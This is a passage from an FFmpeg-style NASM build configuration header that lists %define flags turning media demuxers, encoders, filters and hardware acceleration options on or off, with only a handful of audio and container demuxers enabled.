%define CONFIG_FLAC_DEMUXER 1
%define CONFIG_FLIC_DEMUXER 0
%define CONFIG_FLV_DEMUXER 0
%define CONFIG_LIVE_FLV_DEMUXER 0
%define CONFIG_FOURXM_DEMUXER 0
%define CONFIG_FRM_DEMUXER 0
%define CONFIG_FSB_DEMUXER 0
%define CONFIG_G722_DEMUXER 0
%define CONFIG_G723_1_DEMUXER 0
%define CONFIG_G729_DEMUXER 0
%define CONFIG_GENH_DEMUXER 0
%define CONFIG_GIF_DEMUXER 0
%define CONFIG_GSM_DEMUXER 1
%define CONFIG_GXF_DEMUXER 0
%define CONFIG_H261_DEMUXER 0
%define CONFIG_H263_DEMUXER 0
%define CONFIG_H264_DEMUXER 0
%define CONFIG_HEVC_DEMUXER 0
%define CONFIG_HLS_DEMUXER 0
%define CONFIG_HNM_DEMUXER 0
%define CONFIG_ICO_DEMUXER 0
%define CONFIG_IDCIN_DEMUXER 0
%define CONFIG_IDF_DEMUXER 0
%define CONFIG_IFF_DEMUXER 0
%define CONFIG_ILBC_DEMUXER 0
%define CONFIG_IMAGE2_DEMUXER 0
%define CONFIG_IMAGE2PIPE_DEMUXER 0
%define CONFIG_IMAGE2_ALIAS_PIX_DEMUXER 0
%define CONFIG_IMAGE2_BRENDER_PIX_DEMUXER 0
%define CONFIG_INGENIENT_DEMUXER 0
%define CONFIG_IPMOVIE_DEMUXER 0
%define CONFIG_IRCAM_DEMUXER 0
%define CONFIG_ISS_DEMUXER 0
%define CONFIG_IV8_DEMUXER 0
%define CONFIG_IVF_DEMUXER 0
%define CONFIG_IVR_DEMUXER 0
%define CONFIG_JACOSUB_DEMUXER 0
%define CONFIG_JV_DEMUXER 0
%define CONFIG_LMLM4_DEMUXER 0
%define CONFIG_LOAS_DEMUXER 0
%define CONFIG_LRC_DEMUXER 0
%define CONFIG_LVF_DEMUXER 0
%define CONFIG_LXF_DEMUXER 0
%define CONFIG_M4V_DEMUXER 0
%define CONFIG_MATROSKA_DEMUXER 1
%define CONFIG_MGSTS_DEMUXER 0
%define CONFIG_MICRODVD_DEMUXER 0
%define CONFIG_MJPEG_DEMUXER 0
%define CONFIG_MLP_DEMUXER 0
%define CONFIG_MLV_DEMUXER 0
%define CONFIG_MM_DEMUXER 0
%define CONFIG_MMF_DEMUXER 0
%define CONFIG_MOV_DEMUXER 1
%define CONFIG_MP3_DEMUXER 1
%define CONFIG_MPC_DEMUXER 0
%define CONFIG_MPC8_DEMUXER 0
%define CONFIG_MPEGPS_DEMUXER 0
%define CONFIG_MPEGTS_DEMUXER 0
%define CONFIG_MPEGTSRAW_DEMUXER 0
%define CONFIG_MPEGVIDEO_DEMUXER 0
%define CONFIG_MPJPEG_DEMUXER 0
%define CONFIG_MPL2_DEMUXER 0
%define CONFIG_MPSUB_DEMUXER 0
%define CONFIG_MSF_DEMUXER 0
%define CONFIG_MSNWC_TCP_DEMUXER 0
%define CONFIG_MTV_DEMUXER 0
%define CONFIG_MV_DEMUXER 0
%define CONFIG_MVI_DEMUXER 0
%define CONFIG_MXF_DEMUXER 0
%define CONFIG_MXG_DEMUXER 0
%define CONFIG_NC_DEMUXER 0
%define CONFIG_NISTSPHERE_DEMUXER 0
%define CONFIG_NSV_DEMUXER 0
%define CONFIG_NUT_DEMUXER 0
%define CONFIG_NUV_DEMUXER 0
%define CONFIG_OGG_DEMUXER 1
%define CONFIG_OMA_DEMUXER 0
%define CONFIG_PAF_DEMUXER 0
%define CONFIG_PCM_ALAW_DEMUXER 0
%define CONFIG_PCM_MULAW_DEMUXER 0
%define CONFIG_PCM_F64BE_DEMUXER 0
%define CONFIG_PCM_F64LE_DEMUXER 0
%define CONFIG_PCM_F32BE_DEMUXER 0
%define CONFIG_PCM_F32LE_DEMUXER 0
%define CONFIG_PCM_S32BE_DEMUXER 0
%define CONFIG_PCM_S32LE_DEMUXER 0
%define CONFIG_PCM_S24BE_DEMUXER 0
%define CONFIG_PCM_S24LE_DEMUXER 0
%define CONFIG_PCM_S16BE_DEMUXER 0
%define CONFIG_PCM_S16LE_DEMUXER 0
%define CONFIG_PCM_S8_DEMUXER 0
%define CONFIG_PCM_U32BE_DEMUXER 0
%define CONFIG_PCM_U32LE_DEMUXER 0
%define CONFIG_PCM_U24BE_DEMUXER 0
%define CONFIG_PCM_U24LE_DEMUXER 0
%define CONFIG_PCM_U16BE_DEMUXER 0
%define CONFIG_PCM_U16LE_DEMUXER 0
%define CONFIG_PCM_U8_DEMUXER 0
%define CONFIG_PJS_DEMUXER 0
%define CONFIG_PMP_DEMUXER 0
%define CONFIG_PVA_DEMUXER 0
%define CONFIG_PVF_DEMUXER 0
%define CONFIG_QCP_DEMUXER 0
%define CONFIG_R3D_DEMUXER 0
%define CONFIG_RAWVIDEO_DEMUXER 0
%define CONFIG_REALTEXT_DEMUXER 0
%define CONFIG_REDSPARK_DEMUXER 0
%define CONFIG_RL2_DEMUXER 0
%define CONFIG_RM_DEMUXER 0
%define CONFIG_ROQ_DEMUXER 0
%define CONFIG_RPL_DEMUXER 0
%define CONFIG_RSD_DEMUXER 0
%define CONFIG_RSO_DEMUXER 0
%define CONFIG_RTP_DEMUXER 0
%define CONFIG_RTSP_DEMUXER 0
%define CONFIG_SAMI_DEMUXER 0
%define CONFIG_SAP_DEMUXER 0
%define CONFIG_SBG_DEMUXER 0
%define CONFIG_SDP_DEMUXER 0
%define CONFIG_SDR2_DEMUXER 0
%define CONFIG_SEGAFILM_DEMUXER 0
%define CONFIG_SHORTEN_DEMUXER 0
%define CONFIG_SIFF_DEMUXER 0
%define CONFIG_SLN_DEMUXER 0
%define CONFIG_SMACKER_DEMUXER 0
%define CONFIG_SMJPEG_DEMUXER 0
%define CONFIG_SMUSH_DEMUXER 0
%define CONFIG_SOL_DEMUXER 0
%define CONFIG_SOX_DEMUXER 0
%define CONFIG_SPDIF_DEMUXER 0
%define CONFIG_SRT_DEMUXER 0
%define CONFIG_STR_DEMUXER 0
%define CONFIG_STL_DEMUXER 0
%define CONFIG_SUBVIEWER1_DEMUXER 0
%define CONFIG_SUBVIEWER_DEMUXER 0
%define CONFIG_SUP_DEMUXER 0
%define CONFIG_SVAG_DEMUXER 0
%define CONFIG_SWF_DEMUXER 0
%define CONFIG_TAK_DEMUXER 0
%define CONFIG_TEDCAPTIONS_DEMUXER 0
%define CONFIG_THP_DEMUXER 0
%define CONFIG_THREEDOSTR_DEMUXER 0
%define CONFIG_TIERTEXSEQ_DEMUXER 0
%define CONFIG_TMV_DEMUXER 0
%define CONFIG_TRUEHD_DEMUXER 0
%define CONFIG_TTA_DEMUXER 0
%define CONFIG_TXD_DEMUXER 0
%define CONFIG_TTY_DEMUXER 0
%define CONFIG_V210_DEMUXER 0
%define CONFIG_V210X_DEMUXER 0
%define CONFIG_VAG_DEMUXER 0
%define CONFIG_VC1_DEMUXER 0
%define CONFIG_VC1T_DEMUXER 0
%define CONFIG_VIVO_DEMUXER 0
%define CONFIG_VMD_DEMUXER 0
%define CONFIG_VOBSUB_DEMUXER 0
%define CONFIG_VOC_DEMUXER 0
%define CONFIG_VPK_DEMUXER 0
%define CONFIG_VPLAYER_DEMUXER 0
%define CONFIG_VQF_DEMUXER 0
%define CONFIG_W64_DEMUXER 0
%define CONFIG_WAV_DEMUXER 1
%define CONFIG_WC3_DEMUXER 0
%define CONFIG_WEBM_DASH_MANIFEST_DEMUXER 0
%define CONFIG_WEBVTT_DEMUXER 0
%define CONFIG_WSAUD_DEMUXER 0
%define CONFIG_WSVQA_DEMUXER 0
%define CONFIG_WTV_DEMUXER 0
%define CONFIG_WVE_DEMUXER 0
%define CONFIG_WV_DEMUXER 0
%define CONFIG_XA_DEMUXER 0
%define CONFIG_XBIN_DEMUXER 0
%define CONFIG_XMV_DEMUXER 0
%define CONFIG_XVAG_DEMUXER 0
%define CONFIG_XWMA_DEMUXER 0
%define CONFIG_YOP_DEMUXER 0
%define CONFIG_YUV4MPEGPIPE_DEMUXER 0
%define CONFIG_IMAGE_BMP_PIPE_DEMUXER 0
%define CONFIG_IMAGE_DDS_PIPE_DEMUXER 0
%define CONFIG_IMAGE_DPX_PIPE_DEMUXER 0
%define CONFIG_IMAGE_EXR_PIPE_DEMUXER 0
%define CONFIG_IMAGE_J2K_PIPE_DEMUXER 0
%define CONFIG_IMAGE_JPEG_PIPE_DEMUXER 0
%define CONFIG_IMAGE_JPEGLS_PIPE_DEMUXER 0
%define CONFIG_IMAGE_PICTOR_PIPE_DEMUXER 0
%define CONFIG_IMAGE_PNG_PIPE_DEMUXER 0
%define CONFIG_IMAGE_QDRAW_PIPE_DEMUXER 0
%define CONFIG_IMAGE_SGI_PIPE_DEMUXER 0
%define CONFIG_IMAGE_SUNRAST_PIPE_DEMUXER 0
%define CONFIG_IMAGE_TIFF_PIPE_DEMUXER 0
%define CONFIG_IMAGE_WEBP_PIPE_DEMUXER 0
%define CONFIG_LIBGME_DEMUXER 0
%define CONFIG_LIBMODPLUG_DEMUXER 0
%define CONFIG_LIBNUT_DEMUXER 0
%define CONFIG_LIBQUVI_DEMUXER 0
%define CONFIG_A64MULTI_ENCODER 0
%define CONFIG_A64MULTI5_ENCODER 0
%define CONFIG_ALIAS_PIX_ENCODER 0
%define CONFIG_AMV_ENCODER 0
%define CONFIG_APNG_ENCODER 0
%define CONFIG_ASV1_ENCODER 0
%define CONFIG_ASV2_ENCODER 0
%define CONFIG_AVRP_ENCODER 0
%define CONFIG_AVUI_ENCODER 0
%define CONFIG_AYUV_ENCODER 0
%define CONFIG_BMP_ENCODER 0
%define CONFIG_CINEPAK_ENCODER 0
%define CONFIG_CLJR_ENCODER 0
%define CONFIG_COMFORTNOISE_ENCODER 0
%define CONFIG_DNXHD_ENCODER 0
%define CONFIG_DPX_ENCODER 0
%define CONFIG_DVVIDEO_ENCODER 0
%define CONFIG_FFV1_ENCODER 0
%define CONFIG_FFVHUFF_ENCODER 0
%define CONFIG_FLASHSV_ENCODER 0
%define CONFIG_FLASHSV2_ENCODER 0
%define CONFIG_FLV_ENCODER 0
%define CONFIG_GIF_ENCODER 0
%define CONFIG_H261_ENCODER 0
%define CONFIG_H263_ENCODER 0
%define CONFIG_H263P_ENCODER 0
%define CONFIG_HAP_ENCODER 0
%define CONFIG_HUFFYUV_ENCODER 0
%define CONFIG_JPEG2000_ENCODER 0
%define CONFIG_JPEGLS_ENCODER 0
%define CONFIG_LJPEG_ENCODER 0
%define CONFIG_MJPEG_ENCODER 0
%define CONFIG_MPEG1VIDEO_ENCODER 0
%define CONFIG_MPEG2VIDEO_ENCODER 0
%define CONFIG_MPEG4_ENCODER 0
%define CONFIG_MSMPEG4V2_ENCODER 0
%define CONFIG_MSMPEG4V3_ENCODER 0
%define CONFIG_MSVIDEO1_ENCODER 0
%define CONFIG_PAM_ENCODER 0
%define CONFIG_PBM_ENCODER 0
%define CONFIG_PCX_ENCODER 0
%define CONFIG_PGM_ENCODER 0
%define CONFIG_PGMYUV_ENCODER 0
%define CONFIG_PNG_ENCODER 0
%define CONFIG_PPM_ENCODER 0
%define CONFIG_PRORES_ENCODER 0
%define CONFIG_PRORES_AW_ENCODER 0
%define CONFIG_PRORES_KS_ENCODER 0
%define CONFIG_QTRLE_ENCODER 0
%define CONFIG_R10K_ENCODER 0
%define CONFIG_R210_ENCODER 0
%define CONFIG_RAWVIDEO_ENCODER 0
%define CONFIG_ROQ_ENCODER 0
%define CONFIG_RV10_ENCODER 0
%define CONFIG_RV20_ENCODER 0
%define CONFIG_S302M_ENCODER 0
%define CONFIG_SGI_ENCODER 0
%define CONFIG_SNOW_ENCODER 0
%define CONFIG_SUNRAST_ENCODER 0
%define CONFIG_SVQ1_ENCODER 0
%define CONFIG_TARGA_ENCODER 0
%define CONFIG_TIFF_ENCODER 0
%define CONFIG_UTVIDEO_ENCODER 0
%define CONFIG_V210_ENCODER 0
%define CONFIG_V308_ENCODER 0
%define CONFIG_V408_ENCODER 0
%define CONFIG_V410_ENCODER 0
%define CONFIG_WRAPPED_AVFRAME_ENCODER 0
%define CONFIG_WMV1_ENCODER 0
%define CONFIG_WMV2_ENCODER 0
%define CONFIG_XBM_ENCODER 0
%define CONFIG_XFACE_ENCODER 0
%define CONFIG_XWD_ENCODER 0
%define CONFIG_Y41P_ENCODER 0
%define CONFIG_YUV4_ENCODER 0
%define CONFIG_ZLIB_ENCODER 0
%define CONFIG_ZMBV_ENCODER 0
%define CONFIG_AAC_ENCODER 0
%define CONFIG_AC3_ENCODER 0
%define CONFIG_AC3_FIXED_ENCODER 0
%define CONFIG_ALAC_ENCODER 0
%define CONFIG_DCA_ENCODER 0
%define CONFIG_EAC3_ENCODER 0
%define CONFIG_FLAC_ENCODER 0
%define CONFIG_G723_1_ENCODER 0
%define CONFIG_MP2_ENCODER 0
%define CONFIG_MP2FIXED_ENCODER 0
%define CONFIG_NELLYMOSER_ENCODER 0
%define CONFIG_RA_144_ENCODER 0
%define CONFIG_SONIC_ENCODER 0
%define CONFIG_SONIC_LS_ENCODER 0
%define CONFIG_TTA_ENCODER 0
%define CONFIG_VORBIS_ENCODER 0
%define CONFIG_WAVPACK_ENCODER 0
%define CONFIG_WMAV1_ENCODER 0
%define CONFIG_WMAV2_ENCODER 0
%define CONFIG_PCM_ALAW_ENCODER 0
%define CONFIG_PCM_F32BE_ENCODER 0
%define CONFIG_PCM_F32LE_ENCODER 0
%define CONFIG_PCM_F64BE_ENCODER 0
%define CONFIG_PCM_F64LE_ENCODER 0
%define CONFIG_PCM_MULAW_ENCODER 0
%define CONFIG_PCM_S8_ENCODER 0
%define CONFIG_PCM_S8_PLANAR_ENCODER 0
%define CONFIG_PCM_S16BE_ENCODER 0
%define CONFIG_PCM_S16BE_PLANAR_ENCODER 0
%define CONFIG_PCM_S16LE_ENCODER 0
%define CONFIG_PCM_S16LE_PLANAR_ENCODER 0
%define CONFIG_PCM_S24BE_ENCODER 0
%define CONFIG_PCM_S24DAUD_ENCODER 0
%define CONFIG_PCM_S24LE_ENCODER 0
%define CONFIG_PCM_S24LE_PLANAR_ENCODER 0
%define CONFIG_PCM_S32BE_ENCODER 0
%define CONFIG_PCM_S32LE_ENCODER 0
%define CONFIG_PCM_S32LE_PLANAR_ENCODER 0
%define CONFIG_PCM_U8_ENCODER 0
%define CONFIG_PCM_U16BE_ENCODER 0
%define CONFIG_PCM_U16LE_ENCODER 0
%define CONFIG_PCM_U24BE_ENCODER 0
%define CONFIG_PCM_U24LE_ENCODER 0
%define CONFIG_PCM_U32BE_ENCODER 0
%define CONFIG_PCM_U32LE_ENCODER 0
%define CONFIG_ROQ_DPCM_ENCODER 0
%define CONFIG_ADPCM_ADX_ENCODER 0
%define CONFIG_ADPCM_G722_ENCODER 0
%define CONFIG_ADPCM_G726_ENCODER 0
%define CONFIG_ADPCM_IMA_QT_ENCODER 0
%define CONFIG_ADPCM_IMA_WAV_ENCODER 0
%define CONFIG_ADPCM_MS_ENCODER 0
%define CONFIG_ADPCM_SWF_ENCODER 0
%define CONFIG_ADPCM_YAMAHA_ENCODER 0
%define CONFIG_SSA_ENCODER 0
%define CONFIG_ASS_ENCODER 0
%define CONFIG_DVBSUB_ENCODER 0
%define CONFIG_DVDSUB_ENCODER 0
%define CONFIG_MOVTEXT_ENCODER 0
%define CONFIG_SRT_ENCODER 0
%define CONFIG_SUBRIP_ENCODER 0
%define CONFIG_TEXT_ENCODER 0
%define CONFIG_WEBVTT_ENCODER 0
%define CONFIG_XSUB_ENCODER 0
%define CONFIG_LIBFAAC_ENCODER 0
%define CONFIG_LIBFDK_AAC_ENCODER 0
%define CONFIG_LIBGSM_ENCODER 0
%define CONFIG_LIBGSM_MS_ENCODER 0
%define CONFIG_LIBILBC_ENCODER 0
%define CONFIG_LIBMP3LAME_ENCODER 0
%define CONFIG_LIBOPENCORE_AMRNB_ENCODER 0
%define CONFIG_LIBOPENJPEG_ENCODER 0
%define CONFIG_LIBOPUS_ENCODER 0
%define CONFIG_LIBSCHROEDINGER_ENCODER 0
%define CONFIG_LIBSHINE_ENCODER 0
%define CONFIG_LIBSPEEX_ENCODER 0
%define CONFIG_LIBTHEORA_ENCODER 0
%define CONFIG_LIBTWOLAME_ENCODER 0
%define CONFIG_LIBUTVIDEO_ENCODER 0
%define CONFIG_LIBVO_AACENC_ENCODER 0
%define CONFIG_LIBVO_AMRWBENC_ENCODER 0
%define CONFIG_LIBVORBIS_ENCODER 0
%define CONFIG_LIBVPX_VP8_ENCODER 0
%define CONFIG_LIBVPX_VP9_ENCODER 0
%define CONFIG_LIBWAVPACK_ENCODER 0
%define CONFIG_LIBWEBP_ANIM_ENCODER 0
%define CONFIG_LIBWEBP_ENCODER 0
%define CONFIG_LIBX262_ENCODER 0
%define CONFIG_LIBX264_ENCODER 0
%define CONFIG_LIBX264RGB_ENCODER 0
%define CONFIG_LIBX265_ENCODER 0
%define CONFIG_LIBXAVS_ENCODER 0
%define CONFIG_LIBXVID_ENCODER 0
%define CONFIG_LIBAACPLUS_ENCODER 0
%define CONFIG_LIBOPENH264_ENCODER 0
%define CONFIG_H264_QSV_ENCODER 0
%define CONFIG_NVENC_ENCODER 0
%define CONFIG_NVENC_H264_ENCODER 0
%define CONFIG_NVENC_HEVC_ENCODER 0
%define CONFIG_HEVC_QSV_ENCODER 0
%define CONFIG_LIBKVAZAAR_ENCODER 0
%define CONFIG_MPEG2_QSV_ENCODER 0
%define CONFIG_ACOMPRESSOR_FILTER 0
%define CONFIG_ACROSSFADE_FILTER 0
%define CONFIG_ADELAY_FILTER 0
%define CONFIG_AECHO_FILTER 0
%define CONFIG_AEMPHASIS_FILTER 0
%define CONFIG_AEVAL_FILTER 0
%define CONFIG_AFADE_FILTER 0
%define CONFIG_AFORMAT_FILTER 0
%define CONFIG_AGATE_FILTER 0
%define CONFIG_AINTERLEAVE_FILTER 0
%define CONFIG_ALIMITER_FILTER 0
%define CONFIG_ALLPASS_FILTER 0
%define CONFIG_AMERGE_FILTER 0
%define CONFIG_AMIX_FILTER 0
%define CONFIG_ANEQUALIZER_FILTER 0
%define CONFIG_ANULL_FILTER 0
%define CONFIG_APAD_FILTER 0
%define CONFIG_APERMS_FILTER 0
%define CONFIG_APHASER_FILTER 0
%define CONFIG_APULSATOR_FILTER 0
%define CONFIG_AREALTIME_FILTER 0
%define CONFIG_ARESAMPLE_FILTER 0
%define CONFIG_AREVERSE_FILTER 0
%define CONFIG_ASELECT_FILTER 0
%define CONFIG_ASENDCMD_FILTER 0
%define CONFIG_ASETNSAMPLES_FILTER 0
%define CONFIG_ASETPTS_FILTER 0
%define CONFIG_ASETRATE_FILTER 0
%define CONFIG_ASETTB_FILTER 0
%define CONFIG_ASHOWINFO_FILTER 0
%define CONFIG_ASPLIT_FILTER 0
%define CONFIG_ASTATS_FILTER 0
%define CONFIG_ASYNCTS_FILTER 0
%define CONFIG_ATEMPO_FILTER 0
%define CONFIG_ATRIM_FILTER 0
%define CONFIG_AZMQ_FILTER 0
%define CONFIG_BANDPASS_FILTER 0
%define CONFIG_BANDREJECT_FILTER 0
%define CONFIG_BASS_FILTER 0
%define CONFIG_BIQUAD_FILTER 0
%define CONFIG_BS2B_FILTER 0
%define CONFIG_CHANNELMAP_FILTER 0
%define CONFIG_CHANNELSPLIT_FILTER 0
%define CONFIG_CHORUS_FILTER 0
%define CONFIG_COMPAND_FILTER 0
%define CONFIG_COMPENSATIONDELAY_FILTER 0
%define CONFIG_DCSHIFT_FILTER 0
%define CONFIG_DYNAUDNORM_FILTER 0
%define CONFIG_EARWAX_FILTER 0
%define CONFIG_EBUR128_FILTER 0
%define CONFIG_EQUALIZER_FILTER 0
%define CONFIG_EXTRASTEREO_FILTER 0
%define CONFIG_FLANGER_FILTER 0
%define CONFIG_HIGHPASS_FILTER 0
%define CONFIG_JOIN_FILTER 0
%define CONFIG_LADSPA_FILTER 0
%define CONFIG_LOWPASS_FILTER 0
%define CONFIG_PAN_FILTER 0
%define CONFIG_REPLAYGAIN_FILTER 0
%define CONFIG_RESAMPLE_FILTER 0
%define CONFIG_RUBBERBAND_FILTER 0
%define CONFIG_SIDECHAINCOMPRESS_FILTER 0
%define CONFIG_SIDECHAINGATE_FILTER 0
%define CONFIG_SILENCEDETECT_FILTER 0
%define CONFIG_SILENCEREMOVE_FILTER 0
%define CONFIG_SOFALIZER_FILTER 0
%define CONFIG_STEREOTOOLS_FILTER 0
%define CONFIG_STEREOWIDEN_FILTER 0
%define CONFIG_TREBLE_FILTER 0
%define CONFIG_TREMOLO_FILTER 0
%define CONFIG_VIBRATO_FILTER 0
%define CONFIG_VOLUME_FILTER 0
%define CONFIG_VOLUMEDETECT_FILTER 0
%define CONFIG_AEVALSRC_FILTER 0
%define CONFIG_ANOISESRC_FILTER 0
%define CONFIG_ANULLSRC_FILTER 0
%define CONFIG_FLITE_FILTER 0
%define CONFIG_SINE_FILTER 0
%define CONFIG_ANULLSINK_FILTER 0
%define CONFIG_ALPHAEXTRACT_FILTER 0
%define CONFIG_ALPHAMERGE_FILTER 0
%define CONFIG_ATADENOISE_FILTER 0
%define CONFIG_ASS_FILTER 0
%define CONFIG_BBOX_FILTER 0
%define CONFIG_BLACKDETECT_FILTER 0
%define CONFIG_BLACKFRAME_FILTER 0
%define CONFIG_BLEND_FILTER 0
%define CONFIG_BOXBLUR_FILTER 0
%define CONFIG_CHROMAKEY_FILTER 0
%define CONFIG_CODECVIEW_FILTER 0
%define CONFIG_COLORBALANCE_FILTER 0
%define CONFIG_COLORCHANNELMIXER_FILTER 0
%define CONFIG_COLORKEY_FILTER 0
%define CONFIG_COLORLEVELS_FILTER 0
%define CONFIG_COLORMATRIX_FILTER 0
%define CONFIG_COPY_FILTER 0
%define CONFIG_COVER_RECT_FILTER 0
%define CONFIG_CROP_FILTER 0
%define CONFIG_CROPDETECT_FILTER 0
%define CONFIG_CURVES_FILTER 0
%define CONFIG_DCTDNOIZ_FILTER 0
%define CONFIG_DEBAND_FILTER 0
%define CONFIG_DECIMATE_FILTER 0
%define CONFIG_DEFLATE_FILTER 0
%define CONFIG_DEJUDDER_FILTER 0
%define CONFIG_DELOGO_FILTER 0
%define CONFIG_DESHAKE_FILTER 0
%define CONFIG_DETELECINE_FILTER 0
%define CONFIG_DILATION_FILTER 0
%define CONFIG_DISPLACE_FILTER 0
%define CONFIG_DRAWBOX_FILTER 0
%define CONFIG_DRAWGRAPH_FILTER 0
%define CONFIG_DRAWGRID_FILTER 0
%define CONFIG_DRAWTEXT_FILTER 0
%define CONFIG_EDGEDETECT_FILTER 0
%define CONFIG_ELBG_FILTER 0
%define CONFIG_EQ_FILTER 0
%define CONFIG_EROSION_FILTER 0
%define CONFIG_EXTRACTPLANES_FILTER 0
%define CONFIG_FADE_FILTER 0
%define CONFIG_FFTFILT_FILTER 0
%define CONFIG_FIELD_FILTER 0
%define CONFIG_FIELDMATCH_FILTER 0
%define CONFIG_FIELDORDER_FILTER 0
%define CONFIG_FIND_RECT_FILTER 0
%define CONFIG_FORMAT_FILTER 0
%define CONFIG_FPS_FILTER 0
%define CONFIG_FRAMEPACK_FILTER 0
%define CONFIG_FRAMERATE_FILTER 0
%define CONFIG_FRAMESTEP_FILTER 0
%define CONFIG_FREI0R_FILTER 0
%define CONFIG_FSPP_FILTER 0
%define CONFIG_GEQ_FILTER 0
%define CONFIG_GRADFUN_FILTER 0
%define CONFIG_HALDCLUT_FILTER 0
%define CONFIG_HFLIP_FILTER 0
%define CONFIG_HISTEQ_FILTER 0
%define CONFIG_HISTOGRAM_FILTER 0
%define CONFIG_HQDN3D_FILTER 0
%define CONFIG_HQX_FILTER 0
%define CONFIG_HSTACK_FILTER 0
%define CONFIG_HUE_FILTER 0
%define CONFIG_IDET_FILTER 0
%define CONFIG_IL_FILTER 0
%define CONFIG_INFLATE_FILTER 0
%define CONFIG_INTERLACE_FILTER 0
%define CONFIG_INTERLEAVE_FILTER 0
%define CONFIG_KERNDEINT_FILTER 0
%define CONFIG_LENSCORRECTION_FILTER 0
%define CONFIG_LUT3D_FILTER 0
%define CONFIG_LUT_FILTER 0
%define CONFIG_LUTRGB_FILTER 0
%define CONFIG_LUTYUV_FILTER 0
%define CONFIG_MASKEDMERGE_FILTER 0
%define CONFIG_MCDEINT_FILTER 0
%define CONFIG_MERGEPLANES_FILTER 0
%define CONFIG_MPDECIMATE_FILTER 0
%define CONFIG_NEGATE_FILTER 0
%define CONFIG_NOFORMAT_FILTER 0
%define CONFIG_NOISE_FILTER 0
%define CONFIG_NULL_FILTER 0
%define CONFIG_OCR_FILTER 0
%define CONFIG_OCV_FILTER 0
%define CONFIG_OVERLAY_FILTER 0
%define CONFIG_OWDENOISE_FILTER 0
%define CONFIG_PAD_FILTER 0
%define CONFIG_PALETTEGEN_FILTER 0
%define CONFIG_PALETTEUSE_FILTER 0
%define CONFIG_PERMS_FILTER 0
%define CONFIG_PERSPECTIVE_FILTER 0
%define CONFIG_PHASE_FILTER 0
%define CONFIG_PIXDESCTEST_FILTER 0
%define CONFIG_PP_FILTER 0
%define CONFIG_PP7_FILTER 0
%define CONFIG_PSNR_FILTER 0
%define CONFIG_PULLUP_FILTER 0
%define CONFIG_QP_FILTER 0
%define CONFIG_RANDOM_FILTER 0
%define CONFIG_REALTIME_FILTER 0
%define CONFIG_REMOVEGRAIN_FILTER 0
%define CONFIG_REMOVELOGO_FILTER 0
%define CONFIG_REPEATFIELDS_FILTER 0
%define CONFIG_REVERSE_FILTER 0
%define CONFIG_ROTATE_FILTER 0
%define CONFIG_SAB_FILTER 0
%define CONFIG_SCALE_FILTER 0
%define CONFIG_SCALE2REF_FILTER 0
%define CONFIG_SELECT_FILTER 0
%define CONFIG_SELECTIVECOLOR_FILTER 0
%define CONFIG_SENDCMD_FILTER 0
%define CONFIG_SEPARATEFIELDS_FILTER 0
%define CONFIG_SETDAR_FILTER 0
%define CONFIG_SETFIELD_FILTER 0
%define CONFIG_SETPTS_FILTER 0
%define CONFIG_SETSAR_FILTER 0
%define CONFIG_SETTB_FILTER 0
%define CONFIG_SHOWINFO_FILTER 0
%define CONFIG_SHOWPALETTE_FILTER 0
%define CONFIG_SHUFFLEFRAMES_FILTER 0
%define CONFIG_SHUFFLEPLANES_FILTER 0
%define CONFIG_SIGNALSTATS_FILTER 0
%define CONFIG_SMARTBLUR_FILTER 0
%define CONFIG_SPLIT_FILTER 0
%define CONFIG_SPP_FILTER 0
%define CONFIG_SSIM_FILTER 0
%define CONFIG_STEREO3D_FILTER 0
%define CONFIG_SUBTITLES_FILTER 0
%define CONFIG_SUPER2XSAI_FILTER 0
%define CONFIG_SWAPUV_FILTER 0
%define CONFIG_TBLEND_FILTER 0
%define CONFIG_TELECINE_FILTER 0
%define CONFIG_THUMBNAIL_FILTER 0
%define CONFIG_TILE_FILTER 0
%define CONFIG_TINTERLACE_FILTER 0
%define CONFIG_TRANSPOSE_FILTER 0
%define CONFIG_TRIM_FILTER 0
%define CONFIG_UNSHARP_FILTER 0
%define CONFIG_USPP_FILTER 0
%define CONFIG_VECTORSCOPE_FILTER 0
%define CONFIG_VFLIP_FILTER 0
%define CONFIG_VIDSTABDETECT_FILTER 0
%define CONFIG_VIDSTABTRANSFORM_FILTER 0
%define CONFIG_VIGNETTE_FILTER 0
%define CONFIG_VSTACK_FILTER 0
%define CONFIG_W3FDIF_FILTER 0
%define CONFIG_WAVEFORM_FILTER 0
%define CONFIG_XBR_FILTER 0
%define CONFIG_YADIF_FILTER 0
%define CONFIG_ZMQ_FILTER 0
%define CONFIG_ZOOMPAN_FILTER 0
%define CONFIG_ZSCALE_FILTER 0
%define CONFIG_ALLRGB_FILTER 0
%define CONFIG_ALLYUV_FILTER 0
%define CONFIG_CELLAUTO_FILTER 0
%define CONFIG_COLOR_FILTER 0
%define CONFIG_FREI0R_SRC_FILTER 0
%define CONFIG_HALDCLUTSRC_FILTER 0
%define CONFIG_LIFE_FILTER 0
%define CONFIG_MANDELBROT_FILTER 0
%define CONFIG_MPTESTSRC_FILTER 0
%define CONFIG_NULLSRC_FILTER 0
%define CONFIG_RGBTESTSRC_FILTER 0
%define CONFIG_SMPTEBARS_FILTER 0
%define CONFIG_SMPTEHDBARS_FILTER 0
%define CONFIG_TESTSRC_FILTER 0
%define CONFIG_TESTSRC2_FILTER 0
%define CONFIG_NULLSINK_FILTER 0
%define CONFIG_ADRAWGRAPH_FILTER 0
%define CONFIG_APHASEMETER_FILTER 0
%define CONFIG_AVECTORSCOPE_FILTER 0
%define CONFIG_CONCAT_FILTER 0
%define CONFIG_SHOWCQT_FILTER 0
%define CONFIG_SHOWFREQS_FILTER 0
%define CONFIG_SHOWSPECTRUM_FILTER 0
%define CONFIG_SHOWSPECTRUMPIC_FILTER 0
%define CONFIG_SHOWVOLUME_FILTER 0
%define CONFIG_SHOWWAVES_FILTER 0
%define CONFIG_SHOWWAVESPIC_FILTER 0
%define CONFIG_AMOVIE_FILTER 0
%define CONFIG_MOVIE_FILTER 0
%define CONFIG_H263_VAAPI_HWACCEL 0
%define CONFIG_H263_VIDEOTOOLBOX_HWACCEL 0
%define CONFIG_H264_D3D11VA_HWACCEL 0
%define CONFIG_H264_DXVA2_HWACCEL 0
%define CONFIG_H264_MMAL_HWACCEL 0
%define CONFIG_H264_QSV_HWACCEL 0
%define CONFIG_H264_VAAPI_HWACCEL 0
%define CONFIG_H264_VDA_HWACCEL 0
%define CONFIG_H264_VDA_OLD_HWACCEL 0
%define CONFIG_H264_VDPAU_HWACCEL 0
%define CONFIG_H264_VIDEOTOOLBOX_HWACCEL 0
%define CONFIG_HEVC_D3D11VA_HWACCEL 0
%define CONFIG_HEVC_DXVA2_HWACCEL 0
%define CONFIG_HEVC_QSV_HWACCEL 0
%define CONFIG_HEVC_VAAPI_HWACCEL 0
